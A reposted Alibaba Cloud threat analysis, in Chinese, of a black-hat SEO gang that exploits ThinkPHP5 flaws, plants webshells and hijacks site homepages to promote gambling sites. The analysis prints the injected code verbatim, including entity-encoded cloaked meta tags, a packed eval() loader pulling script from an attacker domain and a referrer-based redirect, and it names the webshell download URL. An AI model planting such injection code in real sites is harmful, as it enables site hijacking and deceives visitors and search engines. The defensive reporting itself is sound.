从入侵到变现——“黑洞”下的黑帽SEO分析

news/2024/5/19 10:36:06/文章来源:https://blog.csdn.net/weixin_34376562/article/details/92419271

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

概述

由于互联网入口流量主要被搜索引擎占据,网站在搜索引擎中的排名直接影响到市场营销效果,因此SEO服务应运而生。SEO(Search Engine Optimization)全称为搜索引擎优化,是指利用搜索引擎的规则提高网站在相关搜索引擎内的自然排名。SEO服务分为两种:一种是合法的技术手段,通过站内优化、站外优化、内容建设等合理手段提升网站排名;第二种是使用作弊手段快速提升网站在搜索引擎内的排名,比如使用蜘蛛池、暗链、站群、客户端劫持、服务端劫持等黑客技术手段,这种通常称为黑帽SEO。

黑帽SEO服务的对象通常为非法的产品或网站。与合法的SEO技术服务相比,黑帽SEO的效果非常快速,能够在短时间内提升排名进行快速推广,且推广的网站内容不受法律约束。黑客的主要目标是牟取非法的经济利益,黑帽SEO是黑客快速变现的重要手段。在地下网络世界已经形成了一条完整的黑色产业链:黑客利用网站存在的安全漏洞,通过入侵手段获取网站的控制权并植入后门,将后门出售给黑帽SEO运营者,黑帽SEO通过暗链、网站劫持等技术手段篡改网站内容,为黄、赌、赌等非法站点进行搜索引擎推广。

阿里云安全团队于近日跟踪到了一个利用web漏洞入侵网站并通过劫持网站首页进行批量SEO推广的黑产团伙 。此黑产团伙控制网站数量巨大,推广的网站多为非法的网站,对互联网产业存在巨大的危害。被入侵网站往往被植入多个后门,可被黑客重复利用,成为黑产的牟利工具,存在巨大的安全风险。该黑产团伙的上游黑客组织掌握了大量IP基础设施,为了绕过安全防御,每天使用数千个代理/秒拨IP进行疯狂入侵。

由于该黑产团伙控制的外部链接域名注册邮箱均为dasheng123123@gmail.com,因此我们将其命名为DaSheng。

被控制网站分布

经过长期跟踪发现,仅2019年1月到3月,该黑产团伙就控制并利用了至少12700个站点。从被植入暗链网页的顶级域名分布来看,".com"占比最多,占总数的72%。被植入暗链的网站存在为数不少的非营利组织/政府网站,绝大部分为地方性行业协会网站,但也有像中国XXX发展研究中、中国XXX发展联盟等全国性协会网站。行业协会/政府网站具有较高公信力,黑帽SEO“傍”上这些网站能够在搜索引擎里快速提高排名,但是发布的“黄赌毒“信息严重影响了网站的公信力。网站存在暗链也意味着存在严重的安全漏洞,如果不及时修复有可能引发重大的网络安全事件。

 

 

 


图1:被劫持网站顶级域名分布

 

 

v2-9f884252b5d2d67af95504ac30104fa5_hd.jpg


图2:某政府网站被植入暗链

黑帽SEO手法分析

该黑产团伙通过被入侵网站的webshell后门在网站首页的头部插入如下代码,该代码会修改页面title、keywords、description,并判断浏览者是否是百度搜索引擎,如果不是搜索引擎则将网站titile修改为合法内容,以达到隐藏自己的目的:

<title>&#21271;&#20140;&#36187;&#36710;&#23448;&#32593;&#24320;&#22870;&#95;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32593;&#31449;&#12304;&#23454;&#26102;&#26356;&#26032;&#12305;</title>
<meta name="keywords" content="&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32593;&#31449;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#24179;&#21488;&#44;&#21271;&#20140;&#36187;&#36710;&#23448;&#26041;&#24320;&#22870;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#35760;&#24405;"/>
<meta name="description" content="&#21271;&#20140;&#36187;&#36710;&#23448;&#26041;&#24320;&#22870;&#32593;&#31449;&#12304;&#89;&#89;&#50;&#51;&#52;&#46;&#67;&#79;&#77;&#12305;&#44;&#26102;&#26102;&#31934;&#20934;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#22312;&#32447;&#30452;&#25773;&#44;&#25171;&#36896;&#20840;&#32593;&#26368;&#20339;&#30340;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#30452;&#25773;&#24179;&#21488;"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="LEO YOUNG 李洋地板- By Orange NT"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))
</script>

被修改的内容通过HTML的ASCII编码隐藏,还原后为常见关键词:

titile:北京赛车官网开奖北京赛车开奖网站【实时更新】
keywords:北京赛车开奖结果北京赛车开奖记录北京赛车开奖网站北京赛车开奖直播北京赛车开奖直播平台北京赛车官方开奖北京赛车开奖结果记录
description:北京赛车官方开奖网站【】时时精准提供北京赛车开奖记录北京赛车开奖视频北京赛车开奖结果北京赛车在线直播打造全网最佳的北京赛车开奖直播平台

第二段js脚本是经过混淆编码的,执行后得到新的js,并链接到黑产团伙控制的外部javascript

< script type = "text/javascript" > eval(function(p, a, c, k, e, d) {e = function(c) {return (c < a ?"": e(parseInt(c / a))) + ((c = c % a) > 35 ?String.fromCharCode(c + 29) : c.toString(36))};if (!''.replace(/^/, String)) {while (c--) d[e(c)] = k[c] || e(c);k = [function(e) {return d[e]}];e = function() {return '\\w+'};c = 1;};while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);return p;
} ('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');', 29, 29, 'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'), 0, {})) < /script>
/

执行后的js:

<script type="text/javascript" src="https://www.cpdas8.com/ylc.js"></script>

该js代码会自动向百度站长平台和360站长平台推送网页内容,并通过referrer判断浏览者是否来自搜索引擎,如果是则跳转到真实的被推广网站。

(function () {/*百度推送代码*/var bp = document.createElement('script');bp.src = '//push.zhanzhang.baidu.com/push.js';var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(bp, s);/*360推送代码*/var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';document.write('<script src="' + src + '" id="sozz"><\/script>');})();document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019c2.com\";");
document.writeln("</script>");

我们在搜索引擎中搜索其推广的暗链关键词,可以看到多个被入侵的网站在搜索引擎处在排名靠前的位置。

 

 

v2-e54bf1286bc623282db67b7dcb5f973c_hd.jpg


图3:被黑帽SEO篡改的合法网站

攻击向量

黑帽SEO团伙使用的webshell后门通常是由上游的黑客组织提供,经阿里云安全团队研究跟踪到了DaSheng的最大“供货商”。该黑客团伙从2019年1月份开始变得异常活跃,主要使用2018年爆发的2个Thinkphp5远程代码执行漏洞,偶尔也会使用其它的web漏洞。根据其使用的webshell文件名和主要的入侵方式,我们将其命名为ThinkphpDD。

该团伙的攻击payload中会从http://43.255.29.112/php/dd.txt下载恶意代码,该代码是一个webshell后门。通常入侵成功几天之后就会被DaSheng黑产团伙利用,为了能够长期控制站点,DaSheng会在被入侵网站的不同目录植入多个webshell后门,该后门具备较强的免杀性。

 

 

v2-95bd45ac1dded4fd94e12ed6630b493b_hd.jpg

 

 

 

v2-e5f8dc4a7ca097881614a6c5f9521994_hd.jpg


图4:被植入的webshell后门

黑客团伙使用的攻击payload:

v2-bd4abdf8d881d2d00ad65d37e0e4c16f_hd.jpg

 

v2-dd6e2603ff06043c99d612c318fd0199_hd.jpg

 

v2-4a130576930465257292df2ef4073bfa_hd.jpg

 

IP基础设施

通常攻击者使用的IP由于存在恶意攻击行为会被IPS、防火墙等安全设备拦截。ThinkphpDD为了绕过安全防护获取最大的利益,使用了大量IP进行网络攻击,从2019年1月开始每天使用几千个IP进行攻击。而且使用的IP复用率低,被该团伙利用过的IP已超过10万个。使用过的IP绝大部分来自中国,占比89%。结合阿里云的代理IP威胁情报,至少有86%的IP是匿名代理或秒拨IP。可见该团伙为了获取黑产利益投入巨大。

 

 

v2-960e81a4cf0dd05acc1d20bbe066c72d_hd.jpg


图5:黑客使用的IP数量趋势

 

 

v2-5383ec53e17eb8a070cff7c0efccf2d2_hd.jpg


图6:黑客攻击次数趋势

 

 

v2-31de75e29e8f30ef6e570913b780e317_hd.jpg


图7:黑客使用的IP国家分布

 

 

v2-4b5eb6d0c247bc829f5c16e196260f5b_hd.jpg


图8:黑客使用的IP来源分布

安全建议

1、用户应及时更新服务,或修补网站漏洞,避免成为入侵的受害者;

2、用户可对网站源代码进行检测,及时清理被植入的网站后门、恶意代码;

3、建议使用阿里云安全的下一代云防火墙产品,能够及时阻断恶意攻击、配置智能策略,能够有效帮助防御入侵;

4、对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。

转载于:https://my.oschina.net/u/3889140/blog/3041883

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_752265.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大型网站技术架构(四)网站的高性能架构

2019独角兽企业重金招聘Python工程师标准>>> 网站性能是客观的指标&#xff0c;可以具体体现到响应时间、吞吐量、并发数、性能计数器等技术指标。 1、性能测试指标 1.1 响应时间 指应用执行一个操作需要的时间&#xff0c;指从发出请求到最后收到响应数据所需要的时…

PhpStudy V8.0如何建立WordPress网站?附图文教程

今天尝试用phpstudy v8.0安装wordpress网站&#xff0c;我是按照以下步骤来的&#xff0c;亲测有效&#xff0c;分享给大家。 1、前往WordPress 官网下载中文最新版 wordpress-5.2.3-zh_CN&#xff0c;或点此直接下载。然后将 wordpress-5.2.3-zh_CN 压缩包拷贝到 WWW 根目录并…

偷瞄大佬书签栏,16个C++必备学习网站,建议收藏

一、 一系列类和函数的集合&#xff0c;使用核心语言编写&#xff0c;也是CISO自身标准的一部分 http://en.wikipedia.org/wiki/C%2B%2B_Standard_Library 二、 标准模板库 https://en.wikipedia.org/wiki/Standard_Template_Library 三、POSIX系统的C标准库规范 https://en.…

美国服务器电影网站版权问题,为什么说选择美国服务器做电影网站比较好

目前来说&#xff0c;海外服务器做网站还是比较不错的&#xff0c;尤其是对于一些外贸企业或者对希望宽松限制的站点&#xff0c;比如说电影网站。我们知道&#xff0c;电影网站对网站服务器要求是非常高的&#xff0c;因此一些有兴趣爱好的个人或者企业如果要选择服务器搭建电…

前端js嵌套遍历优化_为什么你的网站那么慢?本篇将带你掌握前端HTML5性能优化的技巧...

点击上方 关注订阅黑码教主获取更多精彩内容性能之前端篇循环优化在多重嵌套循环的程序上&#xff0c;如果能分出出多个独立循环也比嵌套在一个循环体内来的更有益。优化循环的3种方式&#xff1a;减少每次迭代的开销、减少迭代的次数或者重新设计应用程序。在测试的时候仅可能…

园林景观cad_如何不花一分钱自学CAD?这几个网站收好!海量免费教程看不完

不少小伙伴都想趁闲暇时间自学点技能提升自己&#xff0c;这几年CAD是个很热门的软件&#xff0c;不少人都想自学CAD&#xff0c;但是一看到外边培训班的报名费&#xff0c;就被吓退了。其实&#xff0c;现在网络这么发达&#xff0c;有什么想学的上网搜一搜就好啦&#xff01;…

查看nginx运行状态_部署Nginx网站服务实现访问状态统计以及访问控制功能

Nginx专为性能优化而开发&#xff0c;最知名的优点是它的稳定性和低系统资源消耗&#xff0c;以及对HTTP并发连接的高处理能力&#xff0c;单个物理服务器可支持30000-50000个并发请求。Nginx的安装文件可以从官方网站http://www.nginx.org/下载,下面以Nginx1.12版本为例&#…

mysql msvcr_「msvcr120.dll」MySQL免安装版,遇到MSVCR120.dll文件丢失错误的解决方案 - seo实验室...

msvcr120.dll在进行mysql zip版本的安装时&#xff0c;遇到上图的错误&#xff0c;在网上找了相关的文件拷贝到相应目录下&#xff0c;但还是不行。后来终于找到解决方法&#xff1a;下载 VC redist packages for x64&#xff0c;下载完成&#xff0c;点击运行即可。相关阅读最…

代码命名网站

链接&#xff1a;http://unbug.github.io/codelf/ 相关说明及插件&#xff1a;https://github.com/unbug/codelf 有一些小伙伴&#xff0c;在进行变量命名的时候&#xff0c;对于自己熟悉的英文&#xff0c;可能还会用英文命名一下&#xff0c;如果需要命名的部分不会用英文表…

网站不让复制文字??教你破解复制+白嫖下载百度等各种文档

前阵子需要写篇 xxxx 感想的文章&#xff0c;当然&#xff0c;这种一般都是学校要求写的&#xff0c;作为高中作文在及格边缘徘徊的“好学生”&#xff0c;写是不可能写的了&#xff0c;只能拿出我的 从 CV 大法&#xff0c;去各大网站搜索白嫖别人的作文&#xff0c;然而白嫖的…

10大免费的白嫖网站

本次给大家分享下 pk 哥常用的 10个白嫖网站。 万能命令 https://wanneng.run/cn/在你浏览任意网页时&#xff0c;在网址前面输入这个万能命令 wn.run/ 就会展示出用于该网页的各种附加在线工具&#xff0c;方便快捷&#xff0c;一行命令搞定&#xff01; 收录了很多高质量的…

程序员必备网站之一:No Design

昨天在逛 Hacker News 的时候&#xff0c;我偶然发现个宝藏网站&#xff1a;No Design。 地址&#xff1a;https://nodesign.dev 网站上收集了许多十分便利的 UI 设计工具与设计资源&#xff0c;看完后我内心激动不已&#xff0c;这网站对于那些不太懂设计的开发者来说&#x…

自学编程精品网站。

我敢保证&#xff0c;它们适合 所有 想要自学编程的同学。并且我相信&#xff0c;对于有一定经验的程序员&#xff0c;这些网站也基本都用过。 我将这些网站大致分为了几类&#xff1a; 学习类 freeCodecamp https://chinese.freecodecamp.org/ 一个适合初学者入门的免费实战…

nginx网站服务(访问状态统计、虚拟主机应用、访问控制设置)

nginx网站服务&#xff08;访问状态统计、虚拟主机应用、访问控制设置&#xff09;一&#xff1a;源码安装nginx1.1&#xff1a;安装环境所需的软件包1.2&#xff1a;创建运行用户、组1.3&#xff1a;解压软件包、编译安装1.4&#xff1a;优化执行路径1.5&#xff1a;编写状态管…

jar包搜索_为啥mvnrepository网站jar包,下载不下来

我们团队有维护一个很老的大数据脚本项目&#xff0c;此项目写一些spark任务&#xff0c;然后打包上传到大数据平台&#xff0c;跑一些任务。最近安全团队&#xff0c;爆出此项目有一些jar&#xff0c;有安全风险&#xff0c;需要进行jar的升级。pull此项目的时候&#xff0c;发…

页面布局_如何通过网站页面布局优化提升seo关键词排名?

点击蓝字&#xff5c;关注我们大多数做SEO的人不会忽视网站的页面优化。很多人把注意力集中在网站主页的页面优化上。网站页面优化也是网站内部优化的第一步。通过页面内容的布局调整和设计&#xff0c;可以创建一个用户喜欢并有利于搜索引擎抓取和识别的页面&#xff0c;从而提…

[python网站开发] 一.Django入门知识及创建第一个网站

转自&#xff1a; https://blog.csdn.net/Eastmount/article/details/73735279 随着Python应用越来越广泛&#xff0c;学习Python相关知识越来越多的人选择。最新研究&#xff0c;Python已成为美国top高校最受欢迎的语言&#xff0c;同时国内用Python开发的网站越来越多&#…

读论文的好网站

发现了一个更好的网站 Browse the State-of-the-Art in Machine Learning 也是按主题划分的&#xff0c;各个领域都有&#xff0c;大热的CV&#xff0c;NLP到小众一些的Graphs&#xff0c;时间序列等都有涉及。 这个网站收的论文更多更全&#xff0c;也很新&#xff0c;CVPR2…

SharePoint 2010新建站点不能登录解决方法

近期在使用SharePoint 2010&#xff0c;今天我在一台新服务器上&#xff08;单服务器&#xff0c;无域环境&#xff09;&#xff0c;新建了一个SharePoint 2010的站点&#xff08;先创建Web应用程序&#xff0c;再创建网站集&#xff09;&#xff0c;发现&#xff0c;在登录这个…

博客优化 搜索SEO优化 提高搜索量

csdn博客文章SEO优化提高搜索量,博客优化方法,搜索优化增加博客文章阅读量生成百度快照 。博客文章主要是会推送到百度&#xff0c;百度爬虫生成网页快照&#xff0c;这样的话百度搜索引擎会在搜索结果根据权重排名展示。 博客文章标题 文章的标题简短,包含关键词不超过30个字,…